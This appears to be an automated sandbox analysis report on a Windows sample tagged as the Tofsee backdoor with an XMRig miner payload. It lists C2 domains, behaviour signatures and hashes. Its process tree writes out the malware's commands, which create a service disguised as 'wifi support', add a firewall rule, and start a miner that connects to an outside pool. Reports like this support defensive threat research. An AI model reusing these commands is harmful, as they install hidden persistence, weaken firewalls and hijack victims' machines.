Analysis

  • max time kernel
    168s
  • max time network
    182s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    22/10/2022, 11:41

General

  • Target
    file.exe
  • Size 223KB
  • Sample221022-ntewrsdadj
  • SHA256 408586bd0170c9cd7d49dc9c33586c2d7a7281ffaeb08f630ea4c85974ff42ba
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2272
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\ejjyqlid\
      2⤵
        PID:4936
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\iobwpwje.exe" C:\Windows\SysWOW64\ejjyqlid\
        2⤵
          PID:5076
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create ejjyqlid binPath= "C:\Windows\SysWOW64\ejjyqlid\iobwpwje.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:4220
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description ejjyqlid "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:3224
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start ejjyqlid
          2⤵
          • Launches sc.exe
          PID:2104
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:2328
      • C:\Windows\SysWOW64\ejjyqlid\iobwpwje.exe
        C:\Windows\SysWOW64\ejjyqlid\iobwpwje.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:2040
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:260
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2056

      Network

            MITRE ATT&CK Enterprise v6

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            iobwpwje.exe

            • Path C:\Users\Admin\AppData\Local\Temp\iobwpwje.exe
            • Size 10.3MB
            • SHA256 2af7b16aed8a9fee96066794425d7e804adeb7a00b4816a68dba3312db53fbc0
            • MD5 SHA1 SHA512 SSDEEP

            iobwpwje.exe

            • Path C:\Windows\SysWOW64\ejjyqlid\iobwpwje.exe
            • Size 10.3MB
            • SHA256 2af7b16aed8a9fee96066794425d7e804adeb7a00b4816a68dba3312db53fbc0
            • MD5 SHA1 SHA512 SSDEEP

            memory/260-169-0x0000000007C90000-0x0000000007C97000-memory.dmp

            memory/260-166-0x0000000007600000-0x0000000007A0B000-memory.dmp

            memory/260-163-0x0000000002BF0000-0x0000000002BF5000-memory.dmp

            memory/260-157-0x0000000001DE0000-0x0000000001DE6000-memory.dmp

            memory/260-160-0x0000000001DF0000-0x0000000001E00000-memory.dmp

            memory/260-154-0x0000000002600000-0x000000000280F000-memory.dmp

            memory/260-153-0x0000000000A60000-0x0000000000A75000-memory.dmp

            memory/260-152-0x0000000000A60000-0x0000000000A75000-memory.dmp

            memory/260-148-0x0000000000A60000-0x0000000000A75000-memory.dmp

            memory/2040-146-0x0000000000400000-0x0000000002C26000-memory.dmp

            memory/2040-151-0x0000000000400000-0x0000000002C26000-memory.dmp

            memory/2040-145-0x0000000002D0E000-0x0000000002D23000-memory.dmp

            memory/2056-178-0x0000000000400000-0x00000000004F1000-memory.dmp

            memory/2056-173-0x0000000000400000-0x00000000004F1000-memory.dmp

            memory/2272-133-0x0000000002E90000-0x0000000002EA3000-memory.dmp

            memory/2272-134-0x0000000000400000-0x0000000002C26000-memory.dmp

            memory/2272-143-0x0000000002D63000-0x0000000002D79000-memory.dmp

            memory/2272-144-0x0000000000400000-0x0000000002C26000-memory.dmp

            memory/2272-132-0x0000000002D63000-0x0000000002D79000-memory.dmp